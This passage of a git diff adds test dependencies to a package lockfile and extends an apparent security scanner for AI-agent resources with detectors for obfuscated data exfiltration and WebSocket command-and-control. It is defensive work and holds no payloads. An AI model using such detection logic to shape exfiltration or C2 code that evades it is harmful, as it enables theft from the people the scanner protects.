"sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, "node_modules/chalk": { "version": "5.6.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", @@ -680,6 +1191,13 @@ "node": ">=18" } }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, "node_modules/cross-spawn": { "version": "7.0.6", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", @@ -694,6 +1212,16 @@ "node": ">= 8" } }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, "node_modules/dotenv": { "version": "16.6.1", "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", @@ -718,6 +1246,13 @@ "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", "license": "MIT" }, + "node_modules/es-module-lexer": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.1.0.tgz", + "integrity": "sha512-n27zTYMjYu1aj4MjCWzSP7G9r75utsaoc8m61weK+W8JMBGGQybd43GstCXZ3WNmSFtGT9wi59qQTW6mhTR5LQ==", + "dev": true, + "license": "MIT" + }, "node_modules/esbuild": { "version": "0.27.2", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.2.tgz", @@ -760,12 +1295,50 @@ "@esbuild/win32-x64": "0.27.2" } }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, "node_modules/eventemitter3": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==", "license": "MIT" }, + "node_modules/expect-type": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz", + "integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, "node_modules/foreground-child": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", @@ -875,12 +1448,283 @@ "@pkgjs/parseargs": "^0.11.0" } }, + "node_modules/lightningcss": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.32.0.tgz", + "integrity": "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==", + "dev": true, + "license": "MPL-2.0", + "dependencies": { + "detect-libc": "^2.0.3" + }, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "lightningcss-android-arm64": "1.32.0", + "lightningcss-darwin-arm64": "1.32.0", + "lightningcss-darwin-x64": "1.32.0", + "lightningcss-freebsd-x64": "1.32.0", + "lightningcss-linux-arm-gnueabihf": "1.32.0", + "lightningcss-linux-arm64-gnu": "1.32.0", + "lightningcss-linux-arm64-musl": "1.32.0", + "lightningcss-linux-x64-gnu": "1.32.0", + "lightningcss-linux-x64-musl": "1.32.0", + "lightningcss-win32-arm64-msvc": "1.32.0", + "lightningcss-win32-x64-msvc": "1.32.0" + } + }, + "node_modules/lightningcss-android-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.32.0.tgz", + "integrity": "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.32.0.tgz", + "integrity": "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-x64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.32.0.tgz", + "integrity": "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-freebsd-x64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.32.0.tgz", + "integrity": "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm-gnueabihf": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.32.0.tgz", + "integrity": "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-gnu": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.32.0.tgz", + "integrity": "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-musl": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.32.0.tgz", + "integrity": "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-gnu": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.32.0.tgz", + "integrity": "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-musl": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.32.0.tgz", + "integrity": "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-arm64-msvc": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.32.0.tgz", + "integrity": "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-x64-msvc": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz", + "integrity": "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, "node_modules/lru-cache": { "version": "10.4.3", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", "license": "ISC" }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, "node_modules/minimatch": { "version": "9.0.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", @@ -905,6 +1749,36 @@ "node": ">=16 || 14 >=14.17" } }, + "node_modules/nanoid": { + "version": "3.3.12", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", + "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/obug": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.1.tgz", + "integrity": "sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ==", + "dev": true, + "funding": [ + "https://github.com/sponsors/sxzz", + "https://opencollective.com/debug" + ], + "license": "MIT" + }, "node_modules/ox": { "version": "0.11.3", "resolved": "https://registry.npmjs.org/ox/-/ox-0.11.3.tgz", @@ -966,6 +1840,62 @@ "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/postcss": { + "version": "8.5.15", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", + "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, "node_modules/resolve-pkg-maps": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz", @@ -976,6 +1906,40 @@ "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1" } }, + "node_modules/rolldown": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.1.tgz", + "integrity": "sha512-X0KQHljNnEkWNqqiz9zJrGunh1B0HgOxLXvnFpCOcadzcy5qohZ3tqMEUg00vncoRovXuK3ZqCT9KnnKzoInFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@oxc-project/types": "=0.130.0", + "@rolldown/pluginutils": "^1.0.0" + }, + "bin": { + "rolldown": "bin/cli.mjs" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "optionalDependencies": { + "@rolldown/binding-android-arm64": "1.0.1", + "@rolldown/binding-darwin-arm64": "1.0.1", + "@rolldown/binding-darwin-x64": "1.0.1", + "@rolldown/binding-freebsd-x64": "1.0.1", + "@rolldown/binding-linux-arm-gnueabihf": "1.0.1", + "@rolldown/binding-linux-arm64-gnu": "1.0.1", + "@rolldown/binding-linux-arm64-musl": "1.0.1", + "@rolldown/binding-linux-ppc64-gnu": "1.0.1", + "@rolldown/binding-linux-s390x-gnu": "1.0.1", + "@rolldown/binding-linux-x64-gnu": "1.0.1", + "@rolldown/binding-linux-x64-musl": "1.0.1", + "@rolldown/binding-openharmony-arm64": "1.0.1", + "@rolldown/binding-wasm32-wasi": "1.0.1", + "@rolldown/binding-win32-arm64-msvc": "1.0.1", + "@rolldown/binding-win32-x64-msvc": "1.0.1" + } + }, "node_modules/shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", @@ -997,6 +1961,13 @@ "node": ">=8" } }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, "node_modules/signal-exit": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", @@ -1009,6 +1980,30 @@ "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/std-env": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.1.0.tgz", + "integrity": "sha512-Rq7ybcX2RuC55r9oaPVEW7/xu3tj8u4GeBYHBWCychFtzMIr86A7e3PPEBPT37sHStKX3+TiX/Fr/ACmJLVlLQ==", + "dev": true, + "license": "MIT" + }, "node_modules/string-width": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", @@ -1105,6 +2100,58 @@ "node": ">=8" } }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.1.2.tgz", + "integrity": "sha512-dAqSqE/RabpBKI8+h26GfLq6Vb3JVXs30XYQjdMjaj/c2tS8IYYMbIzP599KtRj7c57/wYApb3QjgRgXmrCukA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.16", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz", + "integrity": "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyrainbow": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.0.tgz", + "integrity": "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true, + "license": "0BSD", + "optional": true + }, "node_modules/tsx": { "version": "4.21.0", "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.21.0.tgz", @@ -1176,6 +2223,174 @@ } } }, + "node_modules/vite": { + "version": "8.0.13", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.13.tgz", + "integrity": "sha512-MFtjBYgzmSxmgA4RAfjIyXWpGe1oALnjgUTzzV7QLx/TKxCzjtMH6Fd9/eVK+5Fg1qNoz5VAwsmMs/NofrmJvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "lightningcss": "^1.32.0", + "picomatch": "^4.0.4", + "postcss": "^8.5.14", + "rolldown": "1.0.1", + "tinyglobby": "^0.2.16" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^20.19.0 || >=22.12.0", + "@vitejs/devtools": "^0.1.18", + "esbuild": "^0.27.0 || ^0.28.0", + "jiti": ">=1.21.0", + "less": "^4.0.0", + "sass": "^1.70.0", + "sass-embedded": "^1.70.0", + "stylus": ">=0.54.8", + "sugarss": "^5.0.0", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "@vitejs/devtools": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vitest": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.7.tgz", + "integrity": "sha512-flYyaFd2CgoCoU+0UKt3pxksgC+S02iTDN0n3LtqaMeXsI9SBcdNujc2k0DeFLzUn/0k538yNjOSdwgCqcrwJA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "4.1.7", + "@vitest/mocker": "4.1.7", + "@vitest/pretty-format": "4.1.7", + "@vitest/runner": "4.1.7", + "@vitest/snapshot": "4.1.7", + "@vitest/spy": "4.1.7", + "@vitest/utils": "4.1.7", + "es-module-lexer": "^2.0.0", + "expect-type": "^1.3.0", + "magic-string": "^0.30.21", + "obug": "^2.1.1", + "pathe": "^2.0.3", + "picomatch": "^4.0.3", + "std-env": "^4.0.0-rc.1", + "tinybench": "^2.9.0", + "tinyexec": "^1.0.2", + "tinyglobby": "^0.2.15", + "tinyrainbow": "^3.1.0", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@opentelemetry/api": "^1.9.0", + "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", + "@vitest/browser-playwright": "4.1.7", + "@vitest/browser-preview": "4.1.7", + "@vitest/browser-webdriverio": "4.1.7", + "@vitest/coverage-istanbul": "4.1.7", + "@vitest/coverage-v8": "4.1.7", + "@vitest/ui": "4.1.7", + "happy-dom": "*", + "jsdom": "*", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser-playwright": { + "optional": true + }, + "@vitest/browser-preview": { + "optional": true + }, + "@vitest/browser-webdriverio": { + "optional": true + }, + "@vitest/coverage-istanbul": { + "optional": true + }, + "@vitest/coverage-v8": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + }, + "vite": { + "optional": false + } + } + }, "node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", @@ -1191,6 +2406,23 @@ "node": ">= 8" } }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/wrap-ansi": { "version": "8.1.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", diff --git a/scanner/package.json b/scanner/package.json index a71b58fe..f3535147 100644 --- a/scanner/package.json +++ b/scanner/package.json @@ -10,18 +10,25 @@ "dev": "tsx watch src/index.ts", "scan": "tsx src/cli.ts" }, - "keywords": ["isnad", "scanner", "security", "ai", "agents"], + "keywords": [ + "isnad", + "scanner", + "security", + "ai", + "agents" + ], "license": "MIT", "dependencies": { - "viem": "^2.0.0", - "commander": "^12.0.0", "chalk": "^5.3.0", + "commander": "^12.0.0", "dotenv": "^16.4.0", - "glob": "^10.3.0" + "glob": "^10.3.0", + "viem": "^2.0.0" }, "devDependencies": { "@types/node": "^20.0.0", "tsx": "^4.7.0", - "typescript": "^5.3.0" + "typescript": "^5.3.0", + "vitest": "^4.1.7" } } diff --git a/scanner/src/analyzer.ts b/scanner/src/analyzer.ts index 7ea15a93..a6d4bb33 100644 --- a/scanner/src/analyzer.ts +++ b/scanner/src/analyzer.ts @@ -2,7 +2,9 @@ * ISNAD Scanner - Static Analysis Engine */ -import { DANGEROUS_PATTERNS, ALLOWLIST_PATTERNS, SAFE_DOMAINS, type Pattern } from './patterns.js'; +import { DANGEROUS_PATTERNS, ALLOWLIST_PATTERNS, SAFE_DOMAINS, HTTP_CLIENT_PATTERNS, LEGITIMATE_HTTP_CONTEXT, KNOWN_SAFE_ENDPOINTS, type Pattern } from './patterns.js'; +import { detectObfuscatedExfiltration, type ObfuscatedExfilResult } from './obfuscated-exfil.js'; +import { detectWebSocketC2, type WebSocketC2Result } from './websocket-c2.js'; import { createHash } from 'crypto'; export interface Finding { @@ -32,6 +34,8 @@ export interface AnalysisResult { }; analyzedAt: string; confidence: number; + obfuscatedExfil?: ObfuscatedExfilResult; + websocketC2?: WebSocketC2Result; } const SEVERITY_WEIGHTS = { @@ -117,15 +121,76 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis // Calculate confidence based on findings consistency const confidence = calculateConfidence(findings, content); + // Run advanced detectors + const obfuscatedExfil = detectObfuscatedExfiltration(content); + const websocketC2 = detectWebSocketC2(content); + + // Add obfuscated exfil findings + if (obfuscatedExfil.hasObfuscatedExfil) { + for (const f of obfuscatedExfil.findings) { + findings.push({ + patternId: `OBFUSC_EXFIL_${f.type.toUpperCase()}`, + name: `Obfuscated Exfiltration: ${f.type.replace(/_/g, ' ')}`, + description: f.description, + severity: f.severity, + category: 'obfuscated_exfiltration', + line: f.line, + column: f.column, + match: f.match.substring(0, 100), + context: f.context.substring(0, 200) + }); + } + } + + // Add WebSocket C2 findings + if (websocketC2.hasWebSocketC2) { + for (const f of websocketC2.findings) { + findings.push({ + patternId: `WS_C2_${f.type.toUpperCase()}`, + name: `WebSocket C2: ${f.type.replace(/_/g, ' ')}`, + description: f.description, + severity: f.severity, + category: 'websocket_c2', + line: f.line, + column: f.column, + match: f.match.substring(0, 100), + context: f.context.substring(0, 200) + }); + } + } + + // Recalculate summary with all findings + const updatedSummary = { + total: findings.length, + critical: 